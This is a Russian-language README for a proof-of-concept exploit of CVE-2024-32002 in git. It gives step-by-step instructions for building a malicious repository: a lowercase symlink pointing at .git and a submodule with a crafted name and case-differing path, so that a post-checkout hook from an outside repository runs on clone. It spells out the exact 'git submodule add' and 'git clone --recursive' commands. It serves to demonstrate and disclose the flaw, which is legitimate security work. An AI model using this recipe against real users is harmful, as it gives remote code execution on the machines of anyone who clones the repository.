CVE-2024-32002 RCE POC
POC для CVE-2024-32002, демонстрирующий удалённое выполнение кода (RCE).
См. cve-2024-32002-poc-rce для связанного репозитория подмодуля.
Что содержит этот репозиторий
- Символическая ссылка с произвольным именем, указывающая на каталог
.git.
- Файл
.gitmodules, определяющий вредоносный подмодуль.
Как воссоздать этот репозиторий
Этот репозиторий был создан в Linux (если точнее, в WSL2). Это важно: вредоносный репозиторий можно создать только в регистрозависимой файловой системе.
- Создайте символическую ссылку, используя все строчные символы
Примечания:
- Символическая ссылка должна указывать на папку .git, поскольку именно туда мы хотим записывать файлы
- Имя символической ссылки (submodule) произвольное, но должно начинаться со строчной буквы
- Это важно, потому что строчные символы сортируются раньше заглавных. Когда клонирующая машина запутается, куда записывать файлы подмодуля, мы хотим, чтобы она выбрала символическую ссылку, а не обычный каталог.
- Добавьте вредоносный подмодуль, обратив внимание на разницу в регистре в имени каталога подмодуля
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
Примечания:
- Имя подмодуля ("rce/notexists") важно; оно будет играть роль при размещении нашего хука в подмодуле.
- "rce" должно совпадать с последним сегментом пути подмодуля.
- "notexists" должно совпадать с именем каталога, содержащего hooks/post-checkout в каталоге подмодуля. См. cve-2024-32002-poc-rce.
- Структура пути подмодуля ("Submodule/modules/rce") тоже важна:
- Первый сегмент пути подмодуля ("Submodule") должен соответствовать имени символической ссылки выше, отличаясь только регистром.
- Второй сегмент ("modules") соответствует имени пути внутри каталога
.git, который отслеживает статус git для подмодулей.
- Третий сегмент ("rce") должен совпадать с первым сегментом имени подмодуля выше.
Как запустить POC
Эта уязвимость затрагивает только Windows и macOS, поскольку в обеих системах файловые системы не различают регистр символов.
- Проверьте, есть ли у вас уязвимая версия git. См. уведомление GitHub о затронутых версиях.
- Подумайте, действительно ли вы осознанно хотите выполнить команду, которая может привести к RCE... Этот репозиторий безвреден, но вы уверены?
- Выполните следующую команду:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- Если POC сработал, вы сможете заняться вычислениями!